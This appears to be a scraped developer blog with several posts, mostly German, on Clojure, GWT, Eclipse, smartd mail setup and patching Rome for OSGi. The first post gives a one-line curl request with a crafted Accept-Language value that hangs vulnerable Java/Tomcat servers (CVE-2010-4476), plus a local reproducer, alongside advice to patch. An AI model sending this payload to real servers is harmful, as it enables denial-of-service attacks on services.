Java DDOS 2.2250738585072012e-308 with curl

There seems to be an easy exploit for the problem going around in the news.

curl -H „Accept-Language: en-us;q=2.2250738585072012e-308“ URL

Apparently works on any Tomcat-server calling getLocale() on the request or most spring applications.

Meanwhile there is java patch for the problem, update your boxes!

Release Notes: http://blogs.oracle.com/henrik/2011/02/jdk_6_update_24_released.html
Security Alert: http://www.oracle.com/technetwork/topics/security/alert-cve-2010-4476-305811.html

For my servers it did not have an effect but maybe you had success? Please leave a comment.

Edit:

You should all have received a java security update by now. If not, you could simply use the following code to reproduce the bug locally.

$ cat Runhang.java 
class Runhang {
  public static void main(String[] args) {
    System.out.println("Test:");
    double d = Double.parseDouble("2.2250738585072012e-308");
    System.out.println("Value: " + d);
  }
}

$ javac Runhang.java
$ java Runhang &
... wait and kill it :)

Short howto: Smartd with mail notification to remote address

This guide is for debian squeeze

SMART is a nice mechanism to detect hard disc drive problems early. There is a daemon that sends user mails in order to notify you. But for normal desktops machines you usually don’t have your mail server set up properly so you can only receive local mails.

They can be read using the terminal command „mail“, but using your graphical user interface you won’t notice them in time.

Therefore I was searching for a way to send them to my normal account „xy@arcor.de“. To make this happen, the local command "echo "hello" | mail xy@arcor.de -s 'testmail'" has to work.

I found some tutorials about how to set up exim 4 to use a smarthost to forward all mails to. But unfortunately this didn’t work with my provider arcor.de, they don’t seem to like it for spamming reasons. Luckily google has less of a problem with that, I guess they are just happy to be able to read the mails too …

I followed the great tutorial http://wiki.debian.org/GmailAndExim4 on how set up gmail as smarthost. Important was here to use my local (unofficial) domain jet.bebop as it is configured on the local machine. This way exim can detect if the mail is supposed to go to localhost and does not involve google when just sending mail to „root“.

Testing after following the howto:

$ echo „Hello“ | mail xy@arcor.de -s „Testing“

$ tail /var/log/exim4/mainlog
2011-02-13 14:03:35 1Pobbz-0003bM-E4 xy@arcor.de R=smarthost T=remote_smtp_smarthost H=gmail-smtp-msa.l.google.com [74.125.43.109] X=TLS1.0:RSA_ARCFOUR_SHA1:16 DN=“C=US,ST=California,L=Mountain View,O=Google Inc,CN=smtp.gmail.com“
2011-02-13 14:03:38 1Pobbz-0003bM-E4 Completed

And I got mail.

Moving on to the second part, setting up smart, which is quite easy on debian.

I just installed smartmontools and enabled the smartd in the default configs.

$ cat /etc/default/smartmontools
# Defaults for smartmontools initscript (/etc/init.d/smartmontools)
# This is a POSIX shell fragment

# List of devices you want to explicitly enable S.M.A.R.T. for
# Not needed (and not recommended) if the device is monitored by smartd
#enable_smart=“/dev/hda /dev/hdb“

# uncomment to start smartd on system startup
start_smartd=yes

# uncomment to pass additional options to smartd on startup
#smartd_opts=“–interval=1800″

By default, smartd uses all drives in your system which is what I want. The config file is imho very verbose and can be modified to your needs. Important is to change the -m xy@arcor.de part to the desired mail address.

$vim /etc/smartd.conf

DEVICESCAN -d removable -n standby -m xy@arcor.de -M exec /usr/share/smartmontools/smartd-runner

After reloading smart, everything should be set up and ready.

$ /etc/init.d/smartmontools reload
Reloading S.M.A.R.T. daemon: smartd.

But you can also test if the smart daemon can send mails to you by the following procedure just to sure:

Create a temporary config file just for the purpose of testing the mail delivery. -M test will make the daemon send an initial test notification, /dev/sdb can just be any drive on your system:

$ echo „/dev/sdb -m xy@arcor.de -M test“ > /etc/smartd.conf.test
$ smartd -c /etc/smartd.conf.test

You should receive a mail like this:

This email was generated by the smartd daemon running on:

host name: jet
DNS domain: bebop
NIS domain: (none)

The following warning/error was logged by the smartd daemon:

TEST EMAIL from smartd for device: /dev/sdb [SAT]

For details see host’s SYSLOG (default: /var/log/syslog).

You can now kill that test daemon and sleep well with your smart monitored discs.

FizzBuzz Aufgabe in Clojure

Es gibt eine Code Kata die nennt sich FizzBuzz http://codingkata.org/katas/unit/fizz-buzz. Ich habe einmal versucht die Aufgabe in Clojure zu realisieren. Die meiste Zeit habe ich damit verbracht, geeignete Funktionen für meine Zwecke zu finden, da dies so ziemlich meine ersten Zeilen in Clojure sind.

(defn fizzbuzz [n] (cond
    (and (zero? (mod n 3)) (zero? (mod n 5))) "fizzbuzz"
    (zero? (mod n 3)) "fizz"
    (zero? (mod n 5)) "buzz"
    1 n
))
(map fizzbuzz (range 1 20))                          
(1 2 "fizz" 4 "buzz" "fizz" 7 8 "fizz" "buzz" 11 "fizz" 13
14 "fizzbuzz" 16 17 "fizz" 19)

Naja, ein Blick in die Code Beispiele der Seite verrät bessere Versionen. Es scheint aber als wären die Katas auch eine gute Möglichkeit um einfach eine Sprache zu lernen, vor allem Dank der Benutzer Lösungen. http://codingkata.org/katas/unit/fizz-buzz/solutions

Mehr über Clojure gibt es hier http://clojure.org/ und in den Screencasts, welche meiner Meinung nach eine sehr schöne Möglichkeit sind etwas über die Sprache zu lernen. http://clojure.blip.tv/posts?view=archive&nsfw=dc

Clojure Erfinder Rich Hickey über Zeit und die Nachteile von OOP

Clojure und Funktionale Programmierung ist für mich derzeit ein sehr interessantes Thema. Von C++ und Java kommend, mit Objekt orientierter Programmierung als state of the art Paradigma, ist die Tatsache, dass Clojure nicht OO ist und es auch gar nicht versucht, zunächst durchaus abstoßend. Ich bin auch noch nicht überzeugt davon, dass komplett davon ab zu kommen richtig ist. Rich Hickey, der Erfinder von Clojure, ist auch der Meinung, dass das Denken in Identitäten für uns Menschen sehr natürlich und verständlich ist und das man dies nicht komplett verwerfen sollte. Dennoch erklärt er, was an unserer derzeitigen Sichtweise falsch ist.

„You cannot step twice into the same river.“ (Heraclitus)

(Der Fluss ist nur ein Konstrukt das wir errichten, er besteht in Wirklichkeit nur aus Wassermolekülen, die zu einem späteren Zeitpunkt allerdings ganz andere sind. Einmal ganz davon abgesehen, dass allein die Tatsache dass die Teilchen sich „geändert“ haben, so etwas wie Zeit erzeugt wird. Mehr dazu aber im Vortrag.)

Ich selber kann den Inhalt, des über eine Stunde dauernden Vortrags, in dieser Kürze sicher nicht wiedergeben und ihr solltet euch lieber selber anhören. Er macht einem einige Dinge bewusst, die einem das Leben im Programmieralltag durchaus erleichtern können. Es handelt sich hierbei nicht direkt um einen Vortrag über Clojure, sondern vielmehr um Grundlagen über die damit Verbunde Herangehensweise. Zugegebenermaßen klingt diese zu Anfang fast schon Philosophisch, was wahrscheinlich nicht von Ungefähr kommt, wie man im Laufe des Videos erfährt. Gegen Ende kommt der Vortrag dann zu Konstrukten und Implementierungsmöglichkeiten, wie sie in Clojure verwendet werden und schließt damit den Kreis zu möglichen Anwendungen. Von sich selber sagt Hickey nämlich er sei ein Pragmatiker; einer der sich sehr gut der Theoretischen Grundlagen bedient, wie ich finde.

http://www.infoq.com/presentations/Are-We-There-Yet-Rich-Hickey

Vielleicht kann man in Zukunft einen Weg finden OO und Funktionale Programmierung zu vereinen. Ich werde mich erst einmal weiter mit Clojure beschäftigen und kann dann vielleicht entscheiden man hier letztendlich bei Spaghetticode landen wird.

GWT – Google-Web-Toolkit, Einführung und Meinung dazu

Ich möchte hier kurz auf einen Artikel eines Kollegen über GWT hinweisen. Dieser befasst sich sehr oberflächlich mit GWT, gibt aber vielleicht eine Motivation sich, ein wenig näher damit zu befassen.

http://blog.seibert-media.net/2010/12/08/gwt-evolution-der-internet-anwendung/

Ich finde es auch sehr angenehm mit GWT zu arbeiten.

Man kommt kaum noch in Berührung mit den syntaktischen Unzulänglichkeiten von Javaskript und kann auf angenehme Weise mächtige und performante “RIA” Anwendungen entwickeln.

Ein Punkt den ich persönlich jedoch wichtig finde ist, dass sich GWT am besten eignet, wenn man tatsächlich Anwendungen entwickelt. Das heißt, anstatt zu versuchen klassische voll designte und dynamische Webseiten damit zu bauen.
Die mitgebrachten Widgets und Layouts kommen nun einmal aus der AWT/Swing Ecke und gliedern sich auch am natürlichsten in solch eine Art Anwendung ein.
Eine voll designte Anwendung, in der man auf das look and feel von Standardelementen zwecks Individualismus verzichtet, ist zwar möglich, bedeutet hier aber etwas mehr Aufwand als bei klassisch Server-Seitig erzeugten HTML Seiten.

Dass solche eine GWT Anwendung dennoch gut aussehen kann, beweist meiner Meinung nach der PostgreSQL GWT Client aus dem GWT Showcase http://demo.teampostgresql.com/

Sehr schön sieht natürlich auch https://www.twentyfeet.com/app/ aus, auch wenn es hier viele klassische Webseiten Elemente gibt, deren Umsetzung aufwändiger ist als bei Server generierten Seiten.

Eclipse Copy / Cut und Paste einer ganzen Zeile

Jeder vim Nutzer, den es irgendwann doch zu Eclipse verschlagen hat, wird sicherlich die elegante und einfache Art, eine ganze Zeile mittels „yy“ und „p“ zu kopieren, vermissen.

Nach einer kurzen Suche bin ich dann auf eine kleine Erweiterung gestoßen, die dies ermöglicht. copycutcurrentline (google code)

What is it?

1. Press Ctrl-C to copy or Ctrl-X to cut the whole line in an editor if you select nothing. (It works as usual if you select some text.)
2. Put the caret on any line on any position.
3. Press Ctrl-V to paste the line above.

Works on Windows and Linux. Should work on Mac but not tested. Tested on Eclipse 3.4, 3.5 and 3.6 on Java 6.

Unter meinem Eclipse Helios und JEE Developer hat es wunderbar funktioniert. Dank an den Entwickler!

Am Rande: Wer es noch nicht kennt, MoreUnit (sf.net) ist ein Tool zum einfachen Wechsel zwischen Klassen und Unit-Tests. Zudem markiert es Klassen, die über Tests verfügen und gibt die Möglichkeit Test-Methoden-Stubs anzulegen.

Annoyme milestone 0.1.0 erreicht

Ich hatte endlich mal wieder ein wenig Zeit und habe beschlossen, dass annoyme den im Wiki definierten milestone 0.1.0 erreicht hat.

Die Änderungen belaufen sich allerdings hauptsächlich auf organisatorische und Paketier-Themen. So war der Milestone definiert als Packaging, documentation, source-forge setup, womit als nächstes dem Ausbau neuer Features nichts mehr im Wege steht.
Die Anwendung ist nun mittels cpack paketierbar und das Ergebnis auch auf der SF Seite verfügbar. Die Projektseite ist https://sourceforge.net/projects/annoyme/ und der Link zum Binary https://sourceforge.net/projects/annoyme/files/

Der Code ist in Github unter dem Tag milestone-0.1.0 oder auf der SF Seite als snapshot verfügbar.

Rome und Felix OSGi

Ich war freudig überrascht, als ich Rome (RSS/Atom syndication and publishing tools) gefunden hatte. Es macht einen soliden, gut designten und dokumentierten Eindruck. Dies und die Tatsache, dass ich ansonsten nichts vergleichbares gefunden habe, ist auch der Grund warum ich so viel Aufwand betrieben habe die Bibliothek zum Laufen zu bekommen.

In unserem Projekt verwenden wir Felix OSGi, was nicht selten zu Problemen bei der Integration von externen Bibliotheken geführt hat.

Im Fall von Rome äußterte sich das in folgenden Exceptions:

SEVERE: Servlet.service() for servlet proxy threw exception
java.lang.NoClassDefFoundError: Could not initialize class com.sun.syndication.feed.synd.SyndFeedImpl
[...]
at javax.servlet.http.HttpServlet.service(HttpServlet.java:689)
[...]

bzw.

SEVERE: Servlet.service() for servlet proxy threw exception
java.lang.NullPointerException
at java.util.Properties$LineReader.readLine(Properties.java:418)
at java.util.Properties.load0(Properties.java:337)
at java.util.Properties.load(Properties.java:325)
at com.sun.syndication.io.impl.PropertiesLoader.(PropertiesLoader.java:74)
at com.sun.syndication.io.impl.PropertiesLoader.getPropertiesLoader(PropertiesLoader.java:46)
at com.sun.syndication.io.impl.PluginManager.(PluginManager.java:54)
at com.sun.syndication.io.impl.PluginManager.(PluginManager.java:46)
at com.sun.syndication.feed.synd.impl.Converters.(Converters.java:40)
at com.sun.syndication.feed.synd.SyndFeedImpl.(SyndFeedImpl.java:56)
[...]
at javax.servlet.http.HttpServlet.service(HttpServlet.java:689)

Letztere Exception tritt auf, weil ein Property File rome.properties nicht gefunden werden kann und dies nicht weiter abgefangen ist.

Versuch 1: Mit diesem Problem brachte mich google zu einigen Leuten die auch das Problem hatten. Es scheint sogar einen Patch zu geben und eine Rome Version (1.0-osgi) im mvn Repository des Autors. Leider hat dies bei mir nicht zu einer Lösung geführt. Quelle und Rome Bugtracking Ticket dazu.

Versuch 2: Interessanterweise stand auf der Rome Seite auch etwas zum Thema Rome + OSGi, worauf mich google nicht geführt hat. Hier ist von einer rome.pluginmanager.useloadclass Property bei RC2 die Rede. Das Setzen der Property auf true hat allerdings auch nicht den gewünschten Effekt gehabt. Der Code der dadurch ausgeführt werden soll sieht auch nicht so aus als würde er helfen. Wer es dennoch versuchen möchte: Rome Homepage : RomeAndOSGi

Lösung: Was letztendlich funktioniert hat, war den Rat von JS Bournival zu befolgen und die Bibliothek selber zu patchen. Dabei muss nicht der Thread ClassLoader verwendet werden, sondern der selbe, der auch verwendet wurde um die Rome Klassen zu laden. Dieser hat dann auch Zugriff auf die Property Files die Rome in der Exception vermisst hat. (Seltsamerweise macht die 1.0-osgi dies angeblich auch so) OSGi: jumping through classoading hoops

Step by Step + Patch:

Ich habe folgendes gemacht:

Rome 1.0 RC2 checkout:

cvs -d :pserver:username@cvs.dev.java.net:/cvs checkout -r v1_0RC2-CORE rome

(Ihr braucht ein java dev Konto, oder falls ihr eures einmal verlegt haben solltet gibt es eine coole Seite bugmenot welche auch für Burger King Gutscheine sehr hilfreich ist.)

grep -sIR "Thread.currentThread().getContextClassLoader()" .

Eine einfache Suche nach der Verwendung des falschen ClassLoaders zeigt die zu Ändernden Klassen auf. Schön zu sehen dass hier auch mit dem bewährten Copy-Paste-Pattern gearbeitet wurde ;-).

Ihr könnte euch das sparen und einfach den Patch anwenden http://gist.github.com/633790

$ cd rome
$ patch -p0 < rome-v1_0RC2-osgi.patch

Das builden mittels mvn install sowie die Tests sollten durchlaufen und das jar kann manuell in euer maven repository installiert werden.

hth

Spring Bugreport

Ich habe vor einiger Zeit bei Spring einen Bugreport bezüglich der Mail API angelegt. In der Regel bin ich da eher zögerlich was soetwas angeht, vor allem da die meisten Ticketsysteme eher unkomfortabel sind.

Spring verwendet allerdings Jira, was bei uns in der Firma auch etabliert ist, und war somit gut und bequem zu bedienen.

https://jira.springsource.org/browse/SPR-6530

Das Problem war, dass bei MimeMails die Empfänger und Absenderadressen nicht korrekt kodiert wurden, wenn sie Sonderzeichen enthalten.

Der Support bei Spring scheint auch nicht schlecht zu sein, schon nach kurzer Zeit war das Ticket bewertet und etwas später auch bearbeitet.

Kurz um: Ein einfaches Ticket System sorgt für gutes Feedback zur Anwendung und besänftigt unter Umständen auch hitzige Anwender.

So Wahr: Whatever Happened To Programming

Programmieren ist nicht mehr das was es einmal war, in Zeiten der Frameworks und großen Bibliotheken fühlt es sich mehr wie ein Konfigurieren an. Wenn man damit umgehen kann, kommt man zwar schneller zu einem Ergebnis aber für viele ist das Ergebnis nicht das wichtigste sondern der Spaß am Programmieren. Der folgende Artikel handelt davon.

http://bit.ly/wordpress_reprog_whatever_happened_to_programming

Sicherlich ist es nicht sinnvoll und auch nicht interessant immer die selben Methoden zu implementieren. So kommt man auch nicht vorwärts. Aber da muss noch etwas zwischen dem Rad-Neu-Erfinden und dem Herum-ärgern mit Frameworks, was zu einer Trial-And-Error Aktion ausarten kann, sein.